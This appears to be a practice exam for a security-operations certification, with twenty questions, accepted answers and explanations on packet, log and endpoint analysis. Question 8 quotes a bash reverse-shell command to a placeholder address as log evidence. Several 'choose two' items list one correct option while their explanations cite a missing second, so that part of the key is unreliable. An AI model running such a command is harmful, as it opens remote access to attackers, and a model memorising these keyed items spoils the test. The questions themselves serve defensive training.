200-201 Practice Exam 56 — 20 Questions

Question 1

A SOC analyst is correlating events in the SIEM after an alert fired for suspicious PowerShell execution on a workstation. The analyst wants to identify additional evidence that would support a ransomware pre-encryption hypothesis. Which two telemetry findings would most strongly support that hypothesis? (Choose two.)

Choose an answer to begin — your selection is scored in the full session.

Accepted Answer

A spike in SMB write operations to many file shares from a single workstation account.. Pre-encryption ransomware activity typically includes destroying recovery options and then rapidly encrypting data. Volume shadow copy deletion removes local restore points, while a burst of SMB writes to many shares shows encryption spreading across network storage. Together they form a coherent pattern that corroborates the suspicious PowerShell execution far better than routine DNS, update, or DHCP events.

Answer

A DHCP lease renewal for the workstation recorded by the local DHCP server.

Answer

An increase in DNS queries for known advertising domains from the workstation.

Answer

Successful Windows Update installations completing on the workstation overnight.

Question 2

A SOC analyst is reviewing NetFlow records and notices that a single internal host has initiated connections to 1,024 distinct destination IP addresses on TCP port 445 within a five-minute window. Each connection attempt lasts under one second and transfers fewer than three packets. Which activity does this pattern most strongly indicate?

Accepted Answer

SMB worm propagation scanning the local subnet and adjacent ranges. Rapid connections from one internal host to a large number of unique destinations on a single service port, each lasting only a moment and exchanging minimal data, is the signature of automated SMB scanning used for worm propagation. Legitimate SMB workloads target a small, stable set of servers and move meaningful data. NetFlow aggregation does not create destination diversity, and name resolution uses different ports and protocols, so the fan-out reflects real scanning behavior.

Answer

An SMB client resolving a hostname through repeated broadcast name queries

Answer

A legitimate backup application performing parallel SMB writes to storage nodes

Answer

A normal NetFlow sampling artifact caused by flow timeout settings

Question 3

An analyst is investigating a suspected TCP session hijacking attempt. The analyst reviews a PCAP and sees duplicate packets with the same sequence numbers but different source IP addresses. Which two TCP characteristics would most likely be manipulated in such an attack? (Choose two.)

Accepted Answer

Acknowledgement numbers. TCP session hijacking requires the attacker to inject packets that appear to be from the legitimate client. To do this, the attacker must know or predict the current sequence numbers and provide valid acknowledgement numbers. Manipulating these two fields allows the attacker to insert data into the stream without the server rejecting it. Other TCP fields like window size or urgent pointer are not central to this attack.

Answer

Urgent pointer

Answer

Window size

Answer

Maximum segment size (MSS)

Question 4

An analyst is reviewing a PCAP and observes a TCP stream where the client sends a packet with the PSH and ACK flags set, containing an HTTP GET request. The server responds with a packet with the FIN and ACK flags set, but the client continues to send data. Later, the client sends a packet with the RST flag set. Which statement best describes what is happening?

Accepted Answer

The server is initiating a graceful connection termination, but the client is ignoring it and continuing to send data, eventually forcing a reset.. The server's FIN+ACK indicates it wants to close its half of the connection. The client should respond with a FIN and stop sending data. Instead, the client continues to send data, which is a TCP protocol violation. The eventual RST from the client abruptly terminates the connection. This behavior could be due to a buggy application, a misconfigured client, or a deliberate attempt to cause a reset.

Answer

The client is using TCP fast open, which allows data transmission after the server sends FIN.

Answer

The server is experiencing a denial-of-service condition because the client is flooding it with data after the FIN.

Answer

The client is performing a TCP reset attack to terminate the connection prematurely.

Question 5

A junior analyst is asked to identify which log source would best confirm that an internal workstation attempted to resolve a suspicious domain shortly before an alert fired. The environment forwards DNS query logs from its recursive resolvers to the SIEM. Which action should the analyst take first?

Accepted Answer

Query the forwarded DNS logs for the workstation's IP and the suspicious domain name.. When recursive resolver query logs are already centralized in the SIEM, searching them for the workstation's IP and the suspicious domain is the fastest authoritative way to confirm the lookup and its timestamp. Firewall logs show IP connections rather than names, reverse lookups describe the workstation itself, and the hosts file only covers static overrides, so none of those directly answer whether the domain was resolved.

Answer

Run a reverse DNS lookup on the workstation's IP address to see its registered name.

Answer

Inspect the workstation's local hosts file for static entries mapping the suspicious domain.

Answer

Search the firewall session logs for outbound connections to the suspicious domain's IP address.

Question 6

A junior analyst is asked to review a Linux server for evidence of unauthorized access. They want to see a chronological record of authentication-related messages, including successful and failed logins, generated by the system's authentication services. Which file should the analyst examine?

Accepted Answer

/var/log/auth.log. Authentication-related messages on Debian and Ubuntu are written to /var/log/auth.log by services such as sshd, sudo, and PAM. Because this file captures both successful and failed login attempts in chronological order, it is the correct source for reviewing unauthorized access on the server.

Answer

/var/log/dpkg.log

Answer

/var/log/boot.log

Answer

/var/log/kern.log

Question 7

An analyst reviews an IDS alert indicating a TCP SYN scan against a web server. The analyst wants to confirm the scan by examining packet-level evidence in the PCAP. Which TWO characteristics would confirm a SYN scan rather than legitimate client behavior? (Choose two.)

Accepted Answer

The source sends SYN packets with varying TCP window sizes and random source ports across the scan. A SYN scan is proven by the combination of incomplete handshakes across many destination ports and deliberate header variation. The scanner never finishes the three-way handshake, and it randomizes source ports and window sizes to evade detection. Target responses such as RST or SYN-ACK merely reflect normal TCP behavior, a completed handshake indicates legitimate client activity, and historical firewall blocks are reputation context rather than packet-level confirmation.

Answer

The source sends a single SYN and then completes the handshake before sending an HTTP GET

Answer

The target's firewall logs show the source IP was previously blocked for port scanning

Answer

The destination responds with RST packets for closed ports and SYN-ACK for open ports

Question 8

An analyst investigates a Linux web server and finds a bash process spawned by the Apache user, with its parent process being httpd. The bash process has an outbound connection to an external IP on port 443, and the server's audit log shows the command 'bash -i >& /dev/tcp/198.51.100.22/443 0>&1'. Which security monitoring technique most reliably detects this specific attack pattern across the environment?

Accepted Answer

Endpoint process lineage and command-line monitoring for shell spawning from web server processes. The attack signature is a web server process spawning an interactive shell that opens an outbound connection, captured in the process tree and command line. Endpoint process lineage and command-line monitoring detects this directly and does not depend on the external IP or port. Network signatures, file integrity monitoring, and flow analysis lack the process context needed to reliably isolate this behavior.

Answer

NetFlow analysis for long-duration connections from the web server

Answer

Signature-based network intrusion detection for outbound TLS to port 443

Answer

File integrity monitoring on the Apache document root directories

Question 9

A SOC analyst is investigating a suspected ARP poisoning attack on a local subnet. Which two indicators would most strongly support this conclusion? (Choose two.)

Accepted Answer

A high rate of unsolicited ARP replies on the subnet. ARP poisoning is confirmed by layer-2 evidence: multiple IP addresses resolving to one MAC address in the ARP cache, and a high volume of unsolicited ARP replies. DNS query spikes, duplicate IP conflict messages, and TCP retransmissions may accompany network problems but are not specific to forged ARP activity, so they do not strongly support the conclusion.

Answer

An increase in TCP retransmissions across the subnet

Answer

Duplicate IP address conflict messages in system logs

Answer

A sudden increase in DNS query volume from a single host

Question 10

An analyst inspects a PCAP and sees an internal host sending HTTP requests where the User-Agent string is unusually long and contains random alphanumeric characters, and the Cookie header carries base64-like data to an external server. The server responds with small HTTP 200 OK messages. Which technique is most consistent with this traffic?

Accepted Answer

HTTP command-and-control beaconing with data exfiltration over headers. Randomized User-Agent strings and base64-encoded Cookie values sent to an external server, with small HTTP 200 responses, are characteristic of HTTP-based command-and-control where data is hidden in headers. Legitimate extension updates, proxy caching, and DNS over HTTPS all produce predictable, structured traffic that does not match the randomness or the request-response pattern observed.

Answer

A misconfigured web proxy caching responses

Answer

A legitimate browser extension updating its configuration

Answer

DNS over HTTPS resolution performed by the host

Question 11

During network intrusion analysis, an analyst reviews a PCAP showing a series of TCP packets where the attacker sends an ACK with a sequence number outside the expected window, followed by packets with overlapping sequence ranges. The analyst suspects the attacker is attempting to evade an IDS by confusing its TCP stream reassembly. Which evasion technique is being used?

Accepted Answer

TCP segmentation overlap evasion. In TCP segmentation overlap evasion, the attacker deliberately crafts overlapping or out-of-window segments so that an IDS and the destination host disagree on the reassembled byte stream. The IDS may see harmless data while the host processes the malicious version, or vice versa. Normalizing and validating TCP streams is required for reliable detection.

Answer

TCP RST injection

Answer

TCP SYN flood

Answer

IP fragmentation attack

Question 12

An analyst reviews a PCAP and sees a host receive an unsolicited ICMP echo reply containing an embedded payload, followed by the host initiating a TCP connection to an internal server on port 445. The ICMP payload begins with bytes that decode to a URL path. Which analysis conclusion is most defensible?

Accepted Answer

The ICMP payload is likely a covert channel delivering a command that triggered the SMB connection. An unsolicited ICMP echo reply carrying a decodable URL path is a hallmark of ICMP-based covert command delivery. Pairing it with a subsequent outbound SMB connection to an internal server suggests the delivered instruction told the host to reach a share for lateral movement or tool retrieval. The direction of the TCP handshake confirms the host is the client, and the payload is coherent, not a fragmentation artifact, so the covert-channel conclusion is the most defensible.

Answer

The ICMP payload is a fragmentation artifact and should be ignored

Answer

The ICMP traffic is a benign network health check and the SMB connection is unrelated

Answer

The SMB connection indicates the host is acting as a file server for the attacker

Question 13

An analyst inspects a PCAP and finds a TCP stream where the client and server exchange data in alternating small chunks, each packet's payload is roughly 40 to 60 bytes, and the conversation lasts over two hours with consistent inter-packet delays of about ten seconds. The destination port is 443 but the payload is not TLS. Which conclusion is best supported?

Accepted Answer

The traffic is a reverse shell or command-and-control channel using interactive command semantics. Long-lived sessions with alternating short payloads and a steady interval are characteristic of interactive command-and-control or reverse shells, where each message carries a command or its output. Bulk transfers, TLS cipher negotiation, and DNS-over-HTTPS all produce different payload sizes, framing, and timing. The use of port 443 without TLS framing strengthens the conclusion that the port is being used to evade egress filtering rather than for legitimate web traffic.

Answer

The traffic is a large file transfer that has been fragmented by the network

Answer

The traffic is a DNS-over-HTTPS session resolving names for a busy client

Answer

The traffic is a misconfigured TLS session negotiating an unusually small cipher block

Question 14

An analyst is triaging a suspected FTP brute-force campaign against an internal server. The IDS reports many failed authentication attempts from a single external address. Which TWO data points, gathered from the FTP server and network logs, most directly support confirming and characterizing the attack? (Choose two.)

Accepted Answer

Count of distinct usernames attempted and the number of failed 530 responses per source IP over time.. Confirming and characterizing an FTP brute-force campaign depends on authentication telemetry: the number of distinct usernames and failed response codes per source IP shows the attack's shape and rate, while a successful login from the same source after repeated failures confirms compromise. Certificate expiry, historical transfer sizes, and daemon patch level describe configuration or baseline behavior and cannot establish whether the attack occurred or succeeded.

Answer

The average size of files previously transferred by legitimate users of the FTP service.

Answer

The server's TLS certificate expiration date for FTPS connections.

Answer

The server's operating system patch level for the FTP daemon.

Question 15

During an intrusion investigation, an analyst needs to determine whether a specific internal host communicated with a known malicious IP address. The analyst has full packet capture for the relevant window but only wants to see the TCP stream from that host to the suspect address. Which Wireshark display filter isolates that conversation?

Accepted Answer

ip.addr == 10.10.5.20 && ip.addr == 203.0.113.77. Repeating the address field with the AND operator restricts output to packets where the two addresses appear in either direction, which captures the full bidirectional conversation. A direction-specific filter hides responses, adding a port constraint may exclude the actual traffic, and using OR broadens the result to unrelated hosts. The bidirectional address pair is the reliable way to isolate one conversation.

Answer

ip.src == 10.10.5.20 && ip.dst == 203.0.113.77

Answer

ip.addr == 10.10.5.20 || ip.addr == 203.0.113.77

Answer

tcp.port == 445 && ip.addr == 10.10.5.20

Question 16

A SOC analyst is reviewing a Windows 10 endpoint after a suspected compromise. They need to determine which user account was responsible for a specific process that was launched shortly before the alert. Which Windows artifact directly records the user account associated with process creation events and should be queried using Windows Event Log?

Accepted Answer

Security Event ID 4688 with the associated user account field. When process creation auditing is enabled, Windows logs Security Event ID 4688 for each new process, and the event includes the subject user name that initiated it. Correlating the process name and timestamp in 4688 with the alert time lets the analyst attribute the suspicious process to a specific user account, which is exactly what is needed here.

Answer

Security Event ID 4625 with the Account Name field

Answer

System Event ID 7045 with the ServiceName field

Answer

Application Event ID 1000 with the Faulting application name field

Question 17

A security analyst is reviewing a Windows 10 endpoint that is suspected of being compromised. The analyst opens Task Manager and notices a process named 'lsass.exe' running with a PID of 1234, but its parent process is 'cmd.exe' rather than 'wininit.exe'. The analyst also observes that the process path is 'C:\Users\Public\lsass.exe'. Which type of attack is most likely indicated by these findings?

Accepted Answer

Process masquerading. The genuine lsass.exe runs from C:\Windows\System32 and is spawned by wininit.exe. A process named lsass.exe running from C:\Users\Public with cmd.exe as its parent is a strong indicator of process masquerading, where malware mimics a legitimate process name to evade detection. This technique is commonly used by attackers to blend in with normal system activity.

Answer

Rootkit infection

Answer

Process hollowing

Answer

DLL injection

Question 18

A SOC analyst monitors outbound traffic from a corporate network and notices a single internal host contacting an external server on TCP port 53, but the payloads contain fixed-length, non-DNS binary data with no query/response structure. The host also makes outbound connections to the same external IP on TCP port 4444. Which technique is the attacker most likely using?

Accepted Answer

Command-and-control over a non-standard port masquerading as DNS. Traffic to TCP port 53 that does not follow DNS message formatting, combined with a second connection to TCP port 4444, indicates a custom command-and-control channel deliberately placed on a commonly permitted port. Attackers choose such ports to slip past egress filters that allow DNS. DNS tunneling and DoH would preserve DNS semantics or use TLS on 443, and SMTP abuse would use mail ports and commands, none of which match the observed binary, non-DNS payloads.

Answer

DNS over HTTPS (DoH) tunneling

Answer

SMTP relay abuse for data exfiltration

Answer

DNS tunneling over TCP port 53

Question 19

A SOC analyst is triaging an alert from a network sensor indicating that an internal host may be performing host discovery on the local subnet. The analyst wants to identify active hosts without generating TCP connections. Which two techniques should the analyst expect to see in the packet capture that are consistent with this goal? (Choose two.)

Accepted Answer

ICMP echo requests sent to each address in the subnet range. ICMP echo requests and ARP requests are both connectionless techniques that confirm host liveness without establishing TCP sessions. ICMP echo requests work across routed networks, while ARP requests are effective on the local subnet. Both avoid TCP state on targets, which matches the analyst's requirement. TCP SYN, TCP FIN, and targeted UDP probes either create TCP state or focus on service discovery rather than pure host liveness.

Answer

TCP SYN packets sent to port 80 on each address in the subnet

Answer

UDP datagrams sent to port 53 on each address in the subnet

Answer

TCP FIN packets sent to port 443 on each address in the subnet

Question 20

An analyst monitoring an internal network observes a host sending a large number of TCP segments with the URG flag set and a non-zero urgent pointer, but the urgent pointer value does not point to actual urgent data. The destination host appears to be processing the data normally. Which explanation best describes what the analyst is observing?

Accepted Answer

An attacker is using the TCP urgent pointer as a covert signaling mechanism or IDS evasion technique. The TCP urgent pointer is rarely used by modern applications and is inconsistently handled by IDS engines and operating systems. Attackers exploit this by setting URG with a pointer that does not correspond to real urgent data, using the flag pattern as a covert signal to a cooperating peer or to desynchronize the IDS's view of the stream while the actual data is processed normally by the target.

Answer

The host is performing a legitimate Telnet session where urgent data indicates a break command

Answer

The host is experiencing a TCP window zero condition caused by application backpressure

Answer

The host is retransmitting segments because the receiver's ACKs are being lost in transit